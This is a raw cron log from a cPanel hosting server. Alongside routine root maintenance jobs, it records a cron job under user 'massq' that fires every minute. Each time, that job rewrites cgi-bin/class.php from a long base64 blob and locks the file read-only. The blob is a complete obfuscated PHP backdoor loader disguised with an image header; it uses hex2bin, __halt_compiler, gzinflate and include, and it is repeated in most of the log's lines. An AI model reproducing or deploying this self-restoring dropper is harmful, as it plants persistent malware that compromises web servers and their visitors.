Sep  5 03:25:01 server CROND[12824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:26:01 server CROND[13646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:26:01 server CROND[13648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:26:01 server CROND[13647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:27:01 server CROND[14031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:27:01 server CROND[14032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:27:01 server CROND[14040]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:27:01 server CROND[14039]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  5 03:27:01 server CROND[14041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:28:01 server CROND[14403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:28:01 server CROND[14404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:28:01 server CROND[14405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:29:01 server CROND[14777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:29:01 server CROND[14776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:29:01 server CROND[14778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:30:01 server CROND[15157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:30:01 server CROND[15159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:30:01 server CROND[15160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:30:01 server CROND[15161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:30:01 server CROND[15162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:30:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:30:01 server CROND[15167]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:30:01 server CROND[15163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:31:01 server CROND[16079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:31:01 server CROND[16080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:31:01 server CROND[16083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:32:01 server CROND[16495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:32:01 server CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:32:01 server CROND[16497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:33:01 server CROND[16873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:33:01 server CROND[16874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:33:01 server CROND[16875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:34:01 server CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:34:01 server CROND[17253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:34:01 server CROND[17254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:35:01 server CROND[17688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:35:01 server CROND[17690]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:35:01 server CROND[17691]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 03:35:01 server CROND[17695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:35:01 server CROND[17694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:35:01 server CROND[17696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:35:01 server CROND[17692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:35:01 server CROND[17699]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:35:01 server CROND[17693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:36:01 server CROND[18544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:36:01 server CROND[18545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:36:01 server CROND[18546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:37:01 server CROND[19009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:37:01 server CROND[19010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:37:01 server CROND[19011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
